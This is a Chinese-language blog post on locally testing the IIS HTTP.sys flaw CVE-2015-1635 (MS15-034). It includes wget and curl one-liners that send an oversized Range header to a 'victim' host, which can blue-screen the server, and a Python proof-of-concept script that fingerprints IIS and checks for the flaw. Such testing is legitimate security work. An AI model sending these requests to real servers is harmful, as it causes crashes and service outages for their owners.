HTTP.sys 远程执行代码漏洞(CVE-2015-1635)(MS15-034)简单测试

        无意中用扫描器扫到了HTTP.sys 漏洞,因为之前写过python单poc脚本,感觉exp应该也是存在的。本着常识的心态找一下利用代码,如果能提权是再好不过的。

    根据网上的记录,此漏洞利用最多的是导致蓝屏。RCE还无法找到,可能被大牛私藏了。由于会导致BSOD,所以只能在本地进行测试了。步骤如下:

    1、环境搭建,由于本人的server只有2003,只能安装iis6.0,且需要下载安装包进行下载,系统无自带。此漏洞存在于iis6.0以上版本,所以无法成功。

    2、用win7进行环境搭建,步骤可参考:https://jingyan.baidu.com/article/2fb0ba40916a1c00f2ec5ff7.html,由于我们只需要一个欢迎页面,所以安装成功后即可。还有一个问题是防火墙需要进行关闭,否则从局域网进行访问。

    3、比较简单的方法是使用一行命令:wget –header=Range: bytes=18-18446744073709551615”  http:victim/welcome.png,图片是iis的默认图片地址。由于我使用的mac没有wget命令,所以使用curl进行替代,命令如下:

        curl  -H"Range: bytes=18-18446744073709551615"  victim/welcome.png 

    之前url我使用了http://的格式发现一直无法成功,后来去掉http://后,成功。

HTTP.sys 远程执行代码漏洞(CVE-2015-1635)(MS15-034)简单测试_第1张图片

最后附上poc脚本:

# -*- coding: utf-8 -*-

import requests
def identify_iis(domain):

    req = requests.get(str(domain))

    remote_server = req.headers['server']

    if 'Microsoft-IIS' in remote_server:

        print('服务是' + remote_server)

        ms15_034_test(str(domain))

    else:

        print('服务器不是IIS\n可能是: ' + remote_server)

def ms15_034_test(domain):

    print('启动vuln检查!')

    headers = {'Host': 'stuff','Range': 'bytes=0-18446744073709551615'}

    req = requests.get(str(domain), headers = headers)

    if 'Requested Range Not Satisfiable' in req.content:

        print '存在HTTP.sys远程代码执行漏洞!'

    elif 'The request has an invalid header name' in req.content:

        print '漏洞已修复'

    else:

        print 'IIS服务无法显示漏洞是否存在,需要手动检测'

if __name__== '__main__':

    usr_domain = raw_input('输入域名扫描: ')
    identify_iis(usr_domain)

你可能感兴趣的:(WEB安全)